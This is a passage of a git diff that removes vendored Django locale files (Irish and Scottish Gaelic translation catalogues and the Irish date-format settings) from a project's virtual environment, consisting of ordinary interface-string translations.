"Caithfidh luach “%(value)s” a bheith ina shnámhán." - -msgid "Floating point number" -msgstr "Snámhphointe" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Caithfidh luach “%(value)s” a bheith ina shlánuimhir." - -msgid "Integer" -msgstr "Slánuimhir" - -msgid "Big (8 byte) integer" -msgstr "Mór (8 byte) slánuimhi" - -msgid "Small integer" -msgstr "Slánuimhir beag" - -msgid "IPv4 address" -msgstr "Seoladh IPv4" - -msgid "IP address" -msgstr "Seoladh IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Ní mór luach “%(value)s” a bheith Easpa, Fíor nó Bréagach." - -msgid "Boolean (Either True, False or None)" -msgstr "Boole (Fíor, Bréagach nó Dada)" - -msgid "Positive big integer" -msgstr "Slánuimhir mhór dhearfach" - -msgid "Positive integer" -msgstr "Slánuimhir dearfach" - -msgid "Positive small integer" -msgstr "Slánuimhir beag dearfach" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (suas go %(max_length)s)" - -msgid "Text" -msgstr "Téacs" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Tá formáid neamhbhailí ag luach “%(value)s”. Caithfidh sé a bheith i " -"bhformáid HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Tá an fhormáid cheart ag luach “%(value)s” (HH:MM[:ss[.uuuuuu]]) ach is am " -"neamhbhailí é." - -msgid "Time" -msgstr "Am" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Sonraí dénártha amh" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Ní UUID bailí é “%(value)s”." - -msgid "Universally unique identifier" -msgstr "Aitheantóir uathúil uilíoch" - -msgid "File" -msgstr "Comhaid" - -msgid "Image" -msgstr "Íomhá" - -msgid "A JSON object" -msgstr "Réad JSON" - -msgid "Value must be valid JSON." -msgstr "Caithfidh an luach a bheith bailí JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Níl sampla %(model)s le %(field)s %(value)r ann." - -msgid "Foreign Key (type determined by related field)" -msgstr "Eochair Eachtracha (cineál a chinnfear de réir réimse a bhaineann)" - -msgid "One-to-one relationship" -msgstr "Duine-le-duine caidreamh" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s caidreamh" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s caidrimh" - -msgid "Many-to-many relationship" -msgstr "Go leor le go leor caidreamh" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Tá an réimse seo riachtanach." - -msgid "Enter a whole number." -msgstr "Iontráil slánuimhir." - -msgid "Enter a valid date." -msgstr "Iontráil dáta bailí." - -msgid "Enter a valid time." -msgstr "Iontráil am bailí." - -msgid "Enter a valid date/time." -msgstr "Iontráil dáta/am bailí." - -msgid "Enter a valid duration." -msgstr "Cuir isteach ré bailí." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Caithfidh líon na laethanta a bheith idir {min_days} agus {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Níor seoladh comhad. Deimhnigh cineál an ionchódaithe ar an bhfoirm." - -msgid "No file was submitted." -msgstr "Níor seoladh aon chomhad." - -msgid "The submitted file is empty." -msgstr "Tá an comhad a seoladh folamh." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Cinntigh go bhfuil %(max)d carachtar ar a mhéad ag an gcomhadainm seo (tá " -"%(length)d aige)." -msgstr[1] "" -"Cinntigh go bhfuil %(max)d carachtar ar a mhéad ag an gcomhadainm seo (tá " -"%(length)d aige)." -msgstr[2] "" -"Cinntigh go bhfuil %(max)d carachtar ar a mhéad ag an gcomhadainm seo (tá " -"%(length)d aige)." -msgstr[3] "" -"Cinntigh go bhfuil %(max)d carachtar ar a mhéad ag an gcomhadainm seo (tá " -"%(length)d aige)." -msgstr[4] "" -"Cinntigh go bhfuil %(max)d carachtar ar a mhéad ag an gcomhadainm seo (tá " -"%(length)d aige)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Cuir ceachtar isteach comhad nó an ticbhosca soiléir, ní féidir an dá " -"sheiceáil." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Uasluchtaigh íomhá bhailí. Níorbh íomhá é an comhad a d'uasluchtaigh tú, nó " -"b'íomhá thruaillithe é." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Déan rogha bhailí. Ní ceann de na roghanna é %(value)s." - -msgid "Enter a list of values." -msgstr "Cuir liosta de luachanna isteach." - -msgid "Enter a complete value." -msgstr "Cuir isteach luach iomlán." - -msgid "Enter a valid UUID." -msgstr "Cuir isteach UUID bailí." - -msgid "Enter a valid JSON." -msgstr "Cuir isteach JSON bailí." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Réimse folaithe %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Tá sonraí ManagementForm in easnamh nó ar cuireadh isteach orthu. Réimsí ar " -"iarraidh: %(field_names)s. Seans go mbeidh ort tuairisc fhabht a chomhdú má " -"leanann an cheist." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Cuir isteach %(num)d foirm ar a mhéad." -msgstr[1] "Cuir isteach %(num)d foirm ar a mhéad." -msgstr[2] "Cuir isteach %(num)d foirm ar a mhéad." -msgstr[3] "Cuir isteach %(num)d foirm ar a mhéad." -msgstr[4] "Cuir isteach %(num)d foirm ar a mhéad." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Cuir isteach ar a laghad %(num)d foirm." -msgstr[1] "Cuir isteach %(num)d foirm ar a laghad." -msgstr[2] "Cuir isteach %(num)d foirm ar a laghad." -msgstr[3] "Cuir isteach %(num)d foirm ar a laghad." -msgstr[4] "Cuir isteach %(num)d foirm ar a laghad." - -msgid "Order" -msgstr "Ord" - -msgid "Delete" -msgstr "Scrios" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Le do thoil ceartaigh an sonra dúbail le %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Ceart le do thoil na sonraí a dhúbailt le haghaidh %(field)s, chaithfidh a " -"bheith uathúil." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ceart le do thoil na sonraí a dhúbailt le haghaidh %(field_name)s ní mór a " -"bheith uaithúil le haghaidh an %(lookup)s i %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Le do thoil ceartaigh na luachanna dúbail thíos." - -msgid "The inline value did not match the parent instance." -msgstr "Níor mheaitseáil an luach inlíne leis an gcás tuismitheora." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Déan rogha bhailí. Ní ceann de na roghanna é do roghasa." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "Ní luach bailí é “%(pk)s”." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Níorbh fhéidir %(datetime)s a léirmhíniú i gcrios ama %(current_timezone)s; " -"d'fhéadfadh sé a bheith débhríoch nó b'fhéidir nach bhfuil sé ann." - -msgid "Clear" -msgstr "Glan" - -msgid "Currently" -msgstr "Faoi láthair" - -msgid "Change" -msgstr "Athraigh" - -msgid "Unknown" -msgstr "Anaithnid" - -msgid "Yes" -msgstr "Tá" - -msgid "No" -msgstr "Níl" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "tá,níl,b'fhéidir" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bheart" -msgstr[1] "%(size)d bheart" -msgstr[2] "%(size)d bheart" -msgstr[3] "%(size)d mbeart" -msgstr[4] "%(size)d beart" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "i.n." - -msgid "a.m." -msgstr "r.n." - -msgid "PM" -msgstr "IN" - -msgid "AM" -msgstr "RN" - -msgid "midnight" -msgstr "meán oíche" - -msgid "noon" -msgstr "nóin" - -msgid "Monday" -msgstr "Dé Luain" - -msgid "Tuesday" -msgstr "Dé Máirt" - -msgid "Wednesday" -msgstr "Dé Céadaoin" - -msgid "Thursday" -msgstr "Déardaoin" - -msgid "Friday" -msgstr "Dé hAoine" - -msgid "Saturday" -msgstr "Dé Sathairn" - -msgid "Sunday" -msgstr "Dé Domhnaigh" - -msgid "Mon" -msgstr "L" - -msgid "Tue" -msgstr "M" - -msgid "Wed" -msgstr "C" - -msgid "Thu" -msgstr "D" - -msgid "Fri" -msgstr "A" - -msgid "Sat" -msgstr "S" - -msgid "Sun" -msgstr "D" - -msgid "January" -msgstr "Eanáir" - -msgid "February" -msgstr "Feabhra" - -msgid "March" -msgstr "Márta" - -msgid "April" -msgstr "Aibreán" - -msgid "May" -msgstr "Bealtaine" - -msgid "June" -msgstr "Meitheamh" - -msgid "July" -msgstr "Iúil" - -msgid "August" -msgstr "Lúnasa" - -msgid "September" -msgstr "Meán Fómhair" - -msgid "October" -msgstr "Deireadh Fómhair" - -msgid "November" -msgstr "Samhain" - -msgid "December" -msgstr "Nollaig" - -msgid "jan" -msgstr "ean" - -msgid "feb" -msgstr "feabh" - -msgid "mar" -msgstr "márta" - -msgid "apr" -msgstr "aib" - -msgid "may" -msgstr "beal" - -msgid "jun" -msgstr "meith" - -msgid "jul" -msgstr "iúil" - -msgid "aug" -msgstr "lún" - -msgid "sep" -msgstr "mfómh" - -msgid "oct" -msgstr "dfómh" - -msgid "nov" -msgstr "samh" - -msgid "dec" -msgstr "noll" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ean." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feabh." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Márta" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aib." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Beal." - -msgctxt "abbrev. month" -msgid "June" -msgstr "Meith." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Iúil" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Lún." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "MFómh." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "DFómh." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Samh." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Noll." - -msgctxt "alt. month" -msgid "January" -msgstr "Mí Eanáir" - -msgctxt "alt. month" -msgid "February" -msgstr "Mí Feabhra" - -msgctxt "alt. month" -msgid "March" -msgstr "Mí na Márta" - -msgctxt "alt. month" -msgid "April" -msgstr "Mí Aibreáin" - -msgctxt "alt. month" -msgid "May" -msgstr "Mí na Bealtaine" - -msgctxt "alt. month" -msgid "June" -msgstr "Mí an Mheithimh" - -msgctxt "alt. month" -msgid "July" -msgstr "Mí Iúil" - -msgctxt "alt. month" -msgid "August" -msgstr "Mí Lúnasa" - -msgctxt "alt. month" -msgid "September" -msgstr "Mí Mheán Fómhair" - -msgctxt "alt. month" -msgid "October" -msgstr "Mí Dheireadh Fómhair" - -msgctxt "alt. month" -msgid "November" -msgstr "Mí na Samhna" - -msgctxt "alt. month" -msgid "December" -msgstr "Mí na Nollag" - -msgid "This is not a valid IPv6 address." -msgstr "Ní seoladh IPv6 bailí é seo." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "nó" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d bhliain" -msgstr[1] "%(num)d bliain" -msgstr[2] "%(num)d bliain" -msgstr[3] "%(num)d bliain" -msgstr[4] "%(num)d bliain" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mí" -msgstr[1] "%(num)d míonna" -msgstr[2] "%(num)d míonna" -msgstr[3] "%(num)d míonna" -msgstr[4] "%(num)d míonna" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d seachtain" -msgstr[1] "%(num)d seachtainí" -msgstr[2] "%(num)d seachtainí" -msgstr[3] "%(num)d seachtainí" -msgstr[4] "%(num)d seachtainí" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d lá" -msgstr[1] "%(num)d laethanta" -msgstr[2] "%(num)d laethanta" -msgstr[3] "%(num)d laethanta" -msgstr[4] "%(num)d laethanta" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d uair" -msgstr[1] "%(num)d huaireanta" -msgstr[2] "%(num)d huaireanta" -msgstr[3] "%(num)d huaireanta" -msgstr[4] "%(num)d huaireanta" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d nóiméad" -msgstr[1] "%(num)d nóiméad" -msgstr[2] "%(num)d nóiméad" -msgstr[3] "%(num)d nóiméad" -msgstr[4] "%(num)d nóiméad" - -msgid "Forbidden" -msgstr "Toirmiscthe" - -msgid "CSRF verification failed. Request aborted." -msgstr "Theip ar fhíorú CSRF. Cuireadh deireadh leis an iarratas." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Tá an teachtaireacht seo á fheiceáil agat toisc go bhfuil “ceanntásc " -"tarchuir” ag teastáil ón suíomh HTTPS seo le bheith seolta ag do bhrabhsálaí " -"gréasáin, ach níor seoladh aon cheann. Tá an ceanntásc seo ag teastáil ar " -"chúiseanna slándála, lena chinntiú nach bhfuil do bhrabhsálaí á fuadach ag " -"tríú páirtithe." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Má tá do bhrabhsálaí cumraithe agat chun ceanntásca “Tagairtí” a dhíchumasú, " -"le do thoil déan iad a athchumasú, le do thoil don suíomh seo, nó do naisc " -"HTTPS, nó d’iarratais “ar an mbunús céanna”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Má tá an chlib 1 á úsáid agat nó má tá an ceanntásc “Polasaí Atreoraithe: " -"gan atreorú” san áireamh, bain amach iad le do thoil. Éilíonn an chosaint " -"CSRF go bhfuil an ceanntásc “Tagairtí” chun seiceáil docht atreoraithe a " -"dhéanamh. Má tá imní ort faoi phríobháideachas, bain úsáid as roghanna eile " -"amhail le haghaidh naisc chuig láithreáin tríú " -"páirtí." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Tá an teachtaireacht seo á fheiceáil agat toisc go bhfuil fianán CSRF ag " -"teastáil ón suíomh seo agus foirmeacha á gcur isteach agat. Tá an fianán seo " -"ag teastáil ar chúiseanna slándála, lena chinntiú nach bhfuil do bhrabhsálaí " -"á fuadach ag tríú páirtithe." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Má tá do bhrabhsálaí cumraithe agat chun fianáin a dhíchumasú, le do thoil " -"athchumasaigh iad, le do thoil, le haghaidh an tsuímh seo ar a laghad, nó le " -"haghaidh iarratais “ar an mbunús céanna”." - -msgid "More information is available with DEBUG=True." -msgstr "Tá tuilleadh eolais ar fáil le DEBUG=True." - -msgid "No year specified" -msgstr "Bliain gan sonrú" - -msgid "Date out of range" -msgstr "Dáta as raon" - -msgid "No month specified" -msgstr "Mí gan sonrú" - -msgid "No day specified" -msgstr "Lá gan sonrú" - -msgid "No week specified" -msgstr "Seachtain gan sonrú" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Gan %(verbose_name_plural)s ar fáil" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Níl %(verbose_name_plural)s sa todhchaí ar fáil mar tá %(class_name)s." -"allow_future Bréagach." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Teaghrán dáta neamhbhailí “%(datestr)s” tugtha formáid “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Níl bhfuarthas %(verbose_name)s le hadhaigh an iarratas" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Níl an leathanach “deireadh”, agus ní féidir é a thiontú go slánuimhir." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Leathanach neamhbhailí (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tá liosta folamh agus “%(class_name)s.allow_empty” bréagach." - -msgid "Directory indexes are not allowed here." -msgstr "Níl innéacsanna chomhadlann cheadaítear anseo." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "Níl “%(path)s” ann" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Innéacs de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "D'éirigh leis an suiteáil! Comhghairdeachas!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Féach ar nótaí scaoilte le haghaidh Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Tá an leathanach seo á fheiceáil agat toisc go bhfuil DEBUG=True i do chomhad socruithe agus nach bhfuil aon " -"URL cumraithe agat." - -msgid "Django Documentation" -msgstr "Doiciméadú Django" - -msgid "Topics, references, & how-to’s" -msgstr "Ábhair, tagairtí, & conas atá" - -msgid "Tutorial: A Polling App" -msgstr "Teagaisc: A Vótaíocht Aip" - -msgid "Get started with Django" -msgstr "Tosaigh le Django" - -msgid "Django Community" -msgstr "Pobal Django" - -msgid "Connect, get help, or contribute" -msgstr "Ceangail, faigh cúnamh, nó ranníoc" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ga/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ga/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ga/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ga/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 766cce6f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ga/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ga/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ga/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 3764c781..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ga/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ga/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ga/formats.py deleted file mode 100644 index 7cde1a56..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ga/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gd/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/gd/LC_MESSAGES/django.mo deleted file mode 100644 index f177bbd9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/gd/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gd/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/gd/LC_MESSAGES/django.po deleted file mode 100644 index ba28564c..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/gd/LC_MESSAGES/django.po +++ /dev/null @@ -1,1386 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Bauer, 2014 -# GunChleoc, 2015-2017,2021 -# GunChleoc, 2015 -# GunChleoc, 2014-2015 -# Michael Bauer, 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-20 14:00+0000\n" -"Last-Translator: GunChleoc\n" -"Language-Team: Gaelic, Scottish (http://www.transifex.com/django/django/" -"language/gd/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: gd\n" -"Plural-Forms: nplurals=4; plural=(n==1 || n==11) ? 0 : (n==2 || n==12) ? 1 : " -"(n > 2 && n < 20) ? 2 : 3;\n" - -msgid "Afrikaans" -msgstr "Afraganais" - -msgid "Arabic" -msgstr "Arabais" - -msgid "Algerian Arabic" -msgstr "Arabais Aildireach" - -msgid "Asturian" -msgstr "Astùrais" - -msgid "Azerbaijani" -msgstr "Asarbaideànais" - -msgid "Bulgarian" -msgstr "Bulgarais" - -msgid "Belarusian" -msgstr "Bealaruisis" - -msgid "Bengali" -msgstr "Beangailis" - -msgid "Breton" -msgstr "Breatnais" - -msgid "Bosnian" -msgstr "Bosnais" - -msgid "Catalan" -msgstr "Catalanais" - -msgid "Czech" -msgstr "Seacais" - -msgid "Welsh" -msgstr "Cuimris" - -msgid "Danish" -msgstr "Danmhairgis" - -msgid "German" -msgstr "Gearmailtis" - -msgid "Lower Sorbian" -msgstr "Sòrbais Ìochdarach" - -msgid "Greek" -msgstr "Greugais" - -msgid "English" -msgstr "Beurla" - -msgid "Australian English" -msgstr "Beurla Astràilia" - -msgid "British English" -msgstr "Beurla Bhreatainn" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spàinntis" - -msgid "Argentinian Spanish" -msgstr "Spàinntis na h-Argantaine" - -msgid "Colombian Spanish" -msgstr "Spàinntis Choloimbia" - -msgid "Mexican Spanish" -msgstr "Spàinntis Mheagsagach" - -msgid "Nicaraguan Spanish" -msgstr "Spàinntis Niocaragua" - -msgid "Venezuelan Spanish" -msgstr "Spàinntis na Bheiniseala" - -msgid "Estonian" -msgstr "Eastoinis" - -msgid "Basque" -msgstr "Basgais" - -msgid "Persian" -msgstr "Farsaidh" - -msgid "Finnish" -msgstr "Fionnlannais" - -msgid "French" -msgstr "Fraingis" - -msgid "Frisian" -msgstr "Frìsis" - -msgid "Irish" -msgstr "Gaeilge" - -msgid "Scottish Gaelic" -msgstr "Gàidhlig" - -msgid "Galician" -msgstr "Gailìsis" - -msgid "Hebrew" -msgstr "Eabhra" - -msgid "Hindi" -msgstr "Hindis" - -msgid "Croatian" -msgstr "Cròthaisis" - -msgid "Upper Sorbian" -msgstr "Sòrbais Uachdarach" - -msgid "Hungarian" -msgstr "Ungairis" - -msgid "Armenian" -msgstr "Airmeinis" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Innd-Innsis" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Innis Tìlis" - -msgid "Italian" -msgstr "Eadailtis" - -msgid "Japanese" -msgstr "Seapanais" - -msgid "Georgian" -msgstr "Cairtbheilis" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Casachais" - -msgid "Khmer" -msgstr "Cmèar" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Coirèanais" - -msgid "Kyrgyz" -msgstr "Cìorgasais" - -msgid "Luxembourgish" -msgstr "Lugsamburgais" - -msgid "Lithuanian" -msgstr "Liotuainis" - -msgid "Latvian" -msgstr "Laitbheis" - -msgid "Macedonian" -msgstr "Masadonais" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolais" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malaidhis" - -msgid "Burmese" -msgstr "Burmais" - -msgid "Norwegian Bokmål" -msgstr "Nirribhis (Bokmål)" - -msgid "Nepali" -msgstr "Neapàlais" - -msgid "Dutch" -msgstr "Duitsis" - -msgid "Norwegian Nynorsk" -msgstr "Nirribhis (Nynorsk)" - -msgid "Ossetic" -msgstr "Ossetic" - -msgid "Punjabi" -msgstr "Panjabi" - -msgid "Polish" -msgstr "Pòlainnis" - -msgid "Portuguese" -msgstr "Portagailis" - -msgid "Brazilian Portuguese" -msgstr "Portagailis Bhraisileach" - -msgid "Romanian" -msgstr "Romàinis" - -msgid "Russian" -msgstr "Ruisis" - -msgid "Slovak" -msgstr "Slòbhacais" - -msgid "Slovenian" -msgstr "Slòbhainis" - -msgid "Albanian" -msgstr "Albàinis" - -msgid "Serbian" -msgstr "Sèirbis" - -msgid "Serbian Latin" -msgstr "Sèirbis (Laideann)" - -msgid "Swedish" -msgstr "Suainis" - -msgid "Swahili" -msgstr "Kiswahili" - -msgid "Tamil" -msgstr "Taimilis" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Taidigis" - -msgid "Thai" -msgstr "Tàidh" - -msgid "Turkmen" -msgstr "Turcmanais" - -msgid "Turkish" -msgstr "Turcais" - -msgid "Tatar" -msgstr "Tatarais" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "Ucràinis" - -msgid "Urdu" -msgstr "Ùrdu" - -msgid "Uzbek" -msgstr "Usbagais" - -msgid "Vietnamese" -msgstr "Bhiet-Namais" - -msgid "Simplified Chinese" -msgstr "Sìnis Shimplichte" - -msgid "Traditional Chinese" -msgstr "Sìnis Thradaiseanta" - -msgid "Messages" -msgstr "Teachdaireachdan" - -msgid "Site Maps" -msgstr "Mapaichean-làraich" - -msgid "Static Files" -msgstr "Faidhlichean stadastaireachd" - -msgid "Syndication" -msgstr "Siondacaideadh" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Chan eil àireamh na duilleige seo 'na àireamh slàn" - -msgid "That page number is less than 1" -msgstr "Tha àireamh na duilleige seo nas lugha na 1" - -msgid "That page contains no results" -msgstr "Chan eil toradh aig an duilleag seo" - -msgid "Enter a valid value." -msgstr "Cuir a-steach luach dligheach." - -msgid "Enter a valid URL." -msgstr "Cuir a-steach URL dligheach." - -msgid "Enter a valid integer." -msgstr "Cuir a-steach àireamh slàin dhligheach." - -msgid "Enter a valid email address." -msgstr "Cuir a-steach seòladh puist-d dligheach." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Cuir a-steach “sluga” dligheach anns nach eil ach litrichean, àireamhan, fo-" -"loidhnichean is tàthanan." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Cuir a-steach “sluga” dligheach anns nach eil ach litrichean Unicode, " -"àireamhan, fo-loidhnichean is tàthanan." - -msgid "Enter a valid IPv4 address." -msgstr "Cuir a-steach seòladh IPv4 dligheach." - -msgid "Enter a valid IPv6 address." -msgstr "Cuir a-steach seòladh IPv6 dligheach." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Cuir a-steach seòladh IPv4 no IPv6 dligheach." - -msgid "Enter only digits separated by commas." -msgstr "Na cuir a-steach ach àireamhan ’gan sgaradh le cromagan." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Dèan cinnteach gu bheil an luach seo %(limit_value)s (’s e %(show_value)s a " -"th’ ann)." - -#, python-format -msgid "Ensure this value is less than or equal to 